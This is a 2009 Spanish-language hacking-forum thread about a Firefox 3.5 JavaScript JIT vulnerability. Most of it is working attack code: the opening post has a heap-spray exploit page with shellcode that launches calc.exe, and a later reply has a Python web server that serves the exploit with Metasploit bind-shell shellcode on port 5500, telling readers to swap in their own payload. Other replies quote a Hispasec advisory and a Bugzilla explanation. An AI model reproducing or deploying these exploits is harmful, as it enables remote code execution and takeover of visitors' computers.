elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 19:25  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow  (Leído 3,154 veces)
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« en: 14 Julio 2009, 18:06 »

Código
<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>                            
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=javascript>
 
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                      "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                      "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                      "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                      "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                      "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                      "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                      "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                      "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                      "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                      "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                      "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                      "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                      "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                      "%u652E%u6578%u9000");
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
{
   fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)  
{
   sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
 {
  c=data.charAt(i);
  if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
  escData+=c;
 }
return escData;
}
 
function DataTranslator(){
   searchArray = new Array();
   searchArray[0] = new Array();
   searchArray[0]["str"] = "blah";
   var newElement = document.getElementById("content")
   if (document.getElementsByTagName) {
       var i=0;
       pTags = newElement.getElementsByTagName("p")
       if (pTags.length > 0)  
       while (i<pTags.length)
       {
           oTags = pTags[i].getElementsByTagName("font")
           searchArray[i+1] = new Array()
           if (oTags[0])  
           {
               searchArray[i+1]["str"] = oTags[0].innerHTML;
           }
           i++
       }
   }
}
 
function GenerateHTML()
{
   var html = "";
   for (i=1;i<searchArray.length;i++)
   {
       html += escapeData(searchArray[i]["str"])
   }    
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

Fuente :http://www.milw0rm.com/exploits/9137
En línea

‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.380


[UserRPL]


Ver Perfil WWW
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #1 en: 14 Julio 2009, 18:19 »

que se supone que debe suceder? guarde en un documento HTML y lo abri en mi 3.5 y no sucede nada... supuestmente debe abrirse un programa... pero nada....

Modificado: si se usa el codigo original que esta en el enlace del final del post principal, alli si se genera un overflow; otra vez el javascript dando problemas en el foro...
creo que no hay manera de solucionarlo.
« Última modificación: 14 Julio 2009, 18:24 por jackl007 ツ » En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.210


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #2 en: 14 Julio 2009, 19:01 »

pues yo m baje el original y nada, no sucede nada  :huh:
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
j retirado

Desconectado Desconectado

Mensajes: 61



Ver Perfil WWW
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #3 en: 14 Julio 2009, 21:54 »

Hispasec publico un articulo bastante explicativo:

Citar
15/07/2009 Ejecución de código en Mozilla Firefox. No existe parche oficial disponible
Ofrecemos este boletín con carácter de urgencia. Se ha publicado un exploit para Mozila Firefox 3.5 que permite la ejecución de código si un usuario visita una página web especialmente manipulada. No existe parche oficial disponible.

Un tal Simon Berry-Byrne ha descubierto un problema de seguridad en Firefox que podría ser aprovechado por atacantes para ejecutar código arbitrario con los privilegios bajo los que se ejecuta el navegador. Existe exploit público disponible, con lo que es posible que los atacantes comiencen, en breve, a explotar el fallo para la instalación de malware, y "aprovechar" así la creciente cuota de mercado de usuarios de Firefox.

El exploit ha sido publicado sin previo aviso, con todo lujo de detalles y listo para ser usado en entornos Windows. Aunque no es necesario una excesiva modificación para que pueda ejecutarse código en cualquier otra plataforma. El fallo en concreto se da en (cómo no) el procesador de código javascript del navegador a la hora de manejar ciertas etiquetas ("font", entre ellas) HTML.

No se tiene constancia de que los atacantes estén aprovechando este fallo, por lo que no se podría hablar estrictamente de "0 day", aunque a partir de ahora el problema es grave, puesto que el código para su explotación es público.

Se recomienda desactivar javascript en Firefox o el uso de navegadores alternativos (no Internet Explorer puesto que en estos momentos también sufre de varios problemas de seguridad no resueltos).


Opina sobre esta noticia:
http://www.hispasec.com/unaaldia/3917/comentar

Más Información:

Firefox 3.5 Vulnerability
http://milw0rm.com/exploits/9137

Fuente: http://www.hispasec.com/unaaldia/3917
En línea

madridserginho

Desconectado Desconectado

Mensajes: 20


Para gustos colores y para tetas sujetadores


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #4 en: 14 Julio 2009, 22:48 »

Pues yo tambien lo he probado y tampoco me funciona.Cual es el problema???

uso firefox 3.5.30729
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #5 en: 15 Julio 2009, 06:58 »

no tiene nada que ver con font tags ni es un buffer overflow, es un problema con JIT al llamar a la funcion escape()

Mi PoC: http://eaea.sirdarckcat.net/ffescape.html
Código
function escapeData(data){
for(var i=0;i<data.length;i++){
var c=data.charAt(i);// you should use charAt(i), using data[i] wont work
if(c=='%')//any char that will be escaped
x++,c=escape(c);//must be escape(), encodeURIComponent wont work
if(x==3)//when escape is used 3 times..
c==c;//the exploit happens here! when c is read
}
return '';
}
var x=0,exp="",txt=[
"e%%"/*must have 2 % */,
"e","e",
"e%"/*must have 1 or more % */
];//the array must have 4 or more elements
for(var i=0;i<txt.length;i++)//must be inside a for loop
exp+=escapeData(txt[i]);//exp has to use +=
location.reload();//it fails some times

Y despues kuza55 me ense;o esto xD

http://blog.mozilla.com/security/

El track en bugzilla: https://bugzilla.mozilla.org/show_bug.cgi?id=503286
Citar
------- Comment #14 From Blake Kaplan (:mrbkap) 2009-07-09 14:41:07 PDT -------
This is a JS engine bug dealing with deep bailing not properly restoring the return value from the result of the (fast native) escape function. We then try to do something with the uninitialized memory and crash in the interpreter.


Asi que bueno, por si tenian la duda, no tiene nada que ver con gecko.. es un problema de JS ‫

 ‫Todas las aplicaciones que usen Spidermonkey con JIT son vulnerables (no solo firefox).

Saludos!!
« Última modificación: 15 Julio 2009, 07:04 por sirdarckcat » En línea

madridserginho

Desconectado Desconectado

Mensajes: 20


Para gustos colores y para tetas sujetadores


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #6 en: 15 Julio 2009, 21:38 »

Mi PoC: http://eaea.sirdarckcat.net/ffescape.html

Pues a mi tu enlace tampoco me hace nada,solo un DOS
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #7 en: 16 Julio 2009, 09:38 »

yo no puse payload, por eso no te hace nada.. lol XDDD
En línea

Darioxhcx


Desconectado Desconectado

Mensajes: 2.149


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #8 en: 16 Julio 2009, 09:47 »

http://eaea.sirdarckcat.net/ffescape.html

no script desactivado obvio


voy a probar el otro XD

edito XD

el qye puso azielito solo me sale esto
http://img223.imageshack.us/img223/1724/fuckc.th.jpg

http://img223.imageshack.us/img223/1724/fuckc.jpg

lo probe en localhost y siempre me tira lo mismo si le doy a continuar..
pero en detenerlo.. creo q no hara nada... igual se me trabo el ff u.u xD

un saludo
« Última modificación: 16 Julio 2009, 10:04 por Darioxhcx » En línea

Hartigan


Desconectado Desconectado

Mensajes: 309


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #9 en: 17 Julio 2009, 01:29 »

lool, no entiendo nada, alguien me puede explicar para que vale???.

gracias.
En línea
madridserginho

Desconectado Desconectado

Mensajes: 20


Para gustos colores y para tetas sujetadores


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #10 en: 17 Julio 2009, 21:20 »

He aquí la marabilla que no falla!!!
A cambiar la shellcode como os de la gana!!

Código:
#!/usr/bin/env python
#######################################################
#
# FireFox 3.5 Heap Spray Exploit
# Originally discovered by: Simon Berry-Bryne
# Pythonized by: David Kennedy (ReL1K) @ SecureState
#
#######################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys

class myRequestHandler(BaseHTTPRequestHandler):

  def do_GET(self):
    self.printCustomHTTPResponse(200)
    if self.path == "/":
        target=self.client_address[0]
        self.wfile.write("""
<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Exploit
</br>
Discovered by: SBerry aka Simon Berry-Byrne
Pythonized: David Kennedy (ReL1K) at SecureState
Bind Shell Port: 5500
Encoding: Shikata_Ga_Nai
</br>
<div id="content">
<p>
<FONT>                             
</FONT>
</p>
<p>
<FONT>Ihazacrashihazacrash</FONT></p>
<p>
<FONT>Ohnoesihazacrashhazcrash</FONT>
</p>
<p>
<FONT>Aaaaahhhhh  </FONT>
</p>
</div>
<script language=javascript>

// windows/shell_bind_tcp - 317 bytes http://www.metasploit.com LPORT=5500 encoding=shikata_ga_nai
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" +
"%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
"%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
"%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
"%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
"%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
"%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
"%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
"%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
"%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
"%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
"%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
"%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +
"%uff53%uffd6%u41d0");
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000) 
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++) 
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
 
function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0) 
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0]) 
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}
 
function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }   
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>""")
        print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target))

  def printCustomHTTPResponse(self, respcode):
    self.send_response(respcode)
    self.send_header("Content-type", "text/html")
    self.send_header("Server", "myRequestHandler")
    self.end_headers()

httpd = HTTPServer(('', 80), myRequestHandler)

print ("""
#######################################################
#
# FireFox 3.5 Heap Spray
# Originally discovered by: Simon Berry-Bryne
# Pythonized: David Kennedy (ReL1K) @ SecureState
#
#######################################################
""")
print ("Listening on port 80.")
print ("Have someone connect to you.")
print ("\nType <control>-c to exit..")
try:
     httpd.handle_request()
     httpd.serve_forever()
except KeyboardInterrupt:
       print ("\n\nExiting exploit...\n\n")
       sys.exit(1)
En línea
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.210


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow
« Respuesta #11 en: 22 Julio 2009, 16:42 »

He encontrado este artículo en el que hablan sobre este bug:

http://www.rinconinformatico.net/2009/07/como-explotar-la-vulnerabilidad-en-firefox-3-5/
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines